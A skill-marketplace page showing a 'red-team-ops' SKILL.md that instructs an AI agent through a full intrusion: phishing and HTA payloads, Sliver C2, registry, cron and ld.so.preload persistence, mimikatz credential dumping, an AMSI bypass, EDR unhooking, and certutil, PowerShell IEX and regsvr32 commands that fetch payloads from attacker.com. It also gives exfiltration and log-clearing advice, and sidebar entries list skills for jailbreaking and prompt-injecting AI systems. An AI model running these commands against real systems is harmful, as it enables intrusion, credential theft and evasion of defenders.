Skip to content
cccskills
FreePublished on GitHub

red-team-ops

Use when running a full red-team engagement end-to-end — initial access, persistence, privilege escalation, defense evasion, C2 infrastructure, EDR bypass, living-off-the-land

The English summary is being prepared. Showing the original description.

Works withDocker
See how to install

Files included (1)

  • SKILL.md7.5 KB

SKILL.md (original)

Review the instructions the agent will receive before you install.

Red Team Operations

When to Activate

  • Simulating advanced persistent threat (APT) operations
  • Testing detection and response capabilities
  • Establishing persistent access and C2
  • Evading EDR/AV/SIEM detection
  • Privilege escalation on compromised hosts
  • Data exfiltration planning

Initial Access

Phishing Payloads

# Office macro (VBA)
# - AutoOpen/Document_Open trigger
# - Download cradle: PowerShell IEX or certutil
# - Sandbox evasion: check domain join, user interaction delay

# HTA (HTML Application)
mshta http://attacker.com/payload.hta

# ISO/IMG mounting (bypass MOTW)
# Package LNK + DLL inside ISO → double-click mounts, LNK executes DLL

# OneNote (.one) with embedded scripts
# Drag-and-drop .bat/.hta behind fake "Double click to view" image

# DLL sideloading
# Find legitimate signed EXE that loads DLL from CWD
# Place malicious DLL alongside legitimate EXE in delivery package

Delivery Mechanisms

# Smuggling past email gateways:
# - Password-protected ZIP (password in email body)
# - HTML smuggling (JS constructs blob → downloads file)
# - QR code to attacker-controlled site
# - Legitimate file-sharing (OneDrive, Google Drive links)

Command & Control (C2)

Infrastructure Setup

# Sliver C2
sliver-server
> generate --mtls attacker.com --os windows --arch amd64 --format exe --save implant.exe
> mtls --lhost 0.0.0.0 --lport 443
> https --lhost 0.0.0.0 --lport 8443 --domain legit-looking.com

# Domain fronting / CDN hiding
# Use high-reputation domains (cloudfront, azure CDN)
# C2 traffic appears as legitimate HTTPS to CDN

# Redirectors
# socat TCP-LISTEN:443,fork TCP:c2-server:443
# Apache mod_rewrite rules to filter blue team probes

# Malleable C2 profiles (Cobalt Strike)
# Mimic legitimate traffic patterns (Slack, Teams, O365)

C2 Communication Patterns

# DNS over HTTPS (DoH) — blends with normal traffic
# Domain fronting — SNI vs Host header mismatch
# Named pipes — internal lateral movement without network traffic
# SMB beacons — blend with normal AD traffic
# Websockets — persistent connection through proxies

Persistence

Windows

# Registry Run keys
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /d "C:\path\payload.exe"

# Scheduled Tasks
schtasks /create /tn "SystemUpdate" /tr "C:\path\payload.exe" /sc onlogon /ru SYSTEM

# WMI Event Subscription (fileless)
# __EventFilter + __EventConsumer + __FilterToConsumerBinding

# DLL Search Order Hijacking
# Place malicious DLL in application directory (loaded before System32)

# COM Object Hijacking
# Modify CLSID InprocServer32 to point to malicious DLL

# Golden Ticket (domain-level persistence)
# With krbtgt hash, generate tickets for any user indefinitely

# DSRM (Directory Services Restore Mode)
# Modify DSRM password → backdoor DC even if krbtgt rotated

# Skeleton Key (in-memory DC patch)
mimikatz "privilege::debug" "misc::skeleton"
# Any user can now auth with password "mimikatz"

Linux

# SSH authorized_keys
echo "ssh-rsa AAAA... attacker" >> ~/.ssh/authorized_keys

# Cron job
echo "* * * * * /tmp/.backdoor" | crontab -

# Systemd service
# /etc/systemd/system/update.service → ExecStart=/path/payload

# LD_PRELOAD
echo "/path/malicious.so" > /etc/ld.so.preload

# PAM backdoor
# Modify pam_unix.so to accept hardcoded password

# Kernel module (rootkit)
insmod rootkit.ko

Privilege Escalation

Windows

# Token impersonation (SeImpersonatePrivilege)
# Potato family: JuicyPotato, PrintSpoofer, GodPotato, SweetPotato
PrintSpoofer.exe -i -c "cmd /c whoami"

# Unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"

# Weak service permissions
# sc qc ServiceName → check SERVICE_CHANGE_CONFIG
# Replace binary or modify binpath

# AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f msi > shell.msi

# Credential harvesting
mimikatz "privilege::debug" "sekurlsa::logonpasswords"
mimikatz "lsadump::sam"
mimikatz "lsadump::dcsync /user:Administrator"

Linux

# SUID binaries
find / -perm -4000 -type f 2>/dev/null
# GTFOBins for exploitation

# Sudo misconfigurations
sudo -l
# (ALL) NOPASSWD: /usr/bin/vim → :!sh

# Capabilities
getcap -r / 2>/dev/null
# cap_setuid+ep on python3 → python3 -c 'import os;os.setuid(0);os.system("/bin/sh")'

# Kernel exploits
uname -r
# Search exploit-db for kernel version

# Writable /etc/passwd
echo 'root2:$(openssl passwd pass):0:0::/root:/bin/bash' >> /etc/passwd

# Docker escape
# Privileged container: mount host filesystem
# Docker socket exposed: create privileged container

Defense Evasion

EDR Bypass

# Unhooking ntdll.dll
# 1. Map fresh copy of ntdll from disk
# 2. Overwrite .text section of loaded ntdll with clean copy
# 3. Syscalls now bypass EDR hooks

# Direct/Indirect Syscalls
# Skip ntdll entirely — call syscall instruction directly
# Indirect: JMP to syscall;ret inside ntdll (avoids syscall-from-non-ntdll detection)

# ETW Patching
# Patch EtwEventWrite to ret immediately
# Blinds .NET/PowerShell logging

# AMSI Bypass
# Patch AmsiScanBuffer to return AMSI_RESULT_CLEAN
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Process injection techniques:
# - Early bird APC injection
# - Module stomping (overwrite legitimate DLL .text)
# - Thread pool injection
# - Phantom DLL hollowing

Living Off the Land (LOLBins)

# Download
certutil -urlcache -split -f http://attacker.com/payload.exe C:\temp\payload.exe
bitsadmin /transfer job /download /priority high http://attacker.com/payload.exe C:\temp\payload.exe
powershell IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/script.ps1')

# Execution
rundll32 payload.dll,EntryPoint
mshta javascript:a=GetObject("script:http://attacker.com/payload.sct")
regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll
wmic process call create "payload.exe"

# Lateral movement
wmic /node:TARGET process call create "cmd /c payload"
winrs -r:TARGET cmd

Data Exfiltration

# DNS exfiltration (slow but stealthy)
# Encode data in subdomain queries: base64chunk.attacker.com

# HTTPS to legitimate services
# Upload to paste sites, cloud storage, code repos

# Steganography
# Hide data in images/documents

# Chunked transfer over time
# Mimic normal traffic patterns, respect business hours

OPSEC Considerations

  • Timestamp stomping on dropped files
  • Clear event logs selectively (not wholesale — that's suspicious)
  • Use legitimate admin tools when possible
  • Match C2 beacon timing to normal traffic patterns
  • Avoid scanning from compromised hosts (use pivot tools)
  • Rotate infrastructure regularly
  • Use separate infrastructure for different engagement phases

Reviews

No reviews yet. Tell others what you thought.

Comments

No login needed. Share how it worked for you, ask a question, or note where it did not run.

No comments yet. Be the first to write one.

Comments are published right away. Do not include personal information such as email addresses or phone numbers. Up to 2 URLs.

0 / 1,000 characters

This form is protected by reCAPTCHA, and the Google Privacy Policy and Terms of Service apply.

More skills from this repository

Use when attacking a Windows Active Directory domain — Kerberos roasting/delegation, coercion + NTLM/Kerberos relay (CVE-2025-33073), ADCS ESC1-16 (EKUwu), ticket forgery & DCSync, dMSA BadSuccessor (CVE-2025-53779), BloodHound attack-path enumeration, domain dominance

The English summary is being prepared. Showing the original description.

hypnguyen1209/offensive-claude395Updated Oct 22, 2026

Use when red-teaming an agentic AI / LLM application — indirect & zero-click prompt injection, MCP tool poisoning, persistent memory poisoning, excessive-agency tool abuse, multi-turn jailbreaks, PyRIT/Garak/Promptfoo harnesses

The English summary is being prepared. Showing the original description.

hypnguyen1209/offensive-claude395Updated Oct 22, 2026

Use when attacking an AI/ML system or model — prompt injection & jailbreaks (Crescendo, Skeleton Key, Best-of-N), RAG/vector poisoning, agentic/MCP exploitation (CVE-2025-54136), ML supply-chain RCE (pickle CVE-2025-32434), model extraction / membership inference / adversarial suffixes (GCG)

The English summary is being prepared. Showing the original description.

hypnguyen1209/offensive-claude395Updated Oct 22, 2026

Use when building a client-side browser exploit — V8/JSC JIT type confusion to renderer R/W, V8 heap-sandbox escape, renderer-to-browser sandbox escape (Mojo IPC, GPU/Dawn/ANGLE), Electron/webview IPC abuse, 1-click RCE chains

The English summary is being prepared. Showing the original description.

hypnguyen1209/offensive-claude395Updated Oct 22, 2026

Use when attacking or auditing a CI/CD pipeline or software supply chain — pwn requests, poisoned pipeline execution, compromised/mutable-tag actions, dependency confusion, registry worms, runner backdoors, OIDC trust abuse, SLSA/provenance

The English summary is being prepared. Showing the original description.

hypnguyen1209/offensive-claude395Updated Oct 22, 2026

Use when attacking AWS/Azure/GCP cloud — IAM/identity privilege escalation, IMDS/metadata SSRF, Entra device-code & PRT theft, GCP impersonation chains, Kubernetes/container escape, IaC/CI-CD federation abuse

The English summary is being prepared. Showing the original description.

hypnguyen1209/offensive-claude395Updated Oct 22, 2026

See all skills by hypnguyen1209

Report a problem with this skill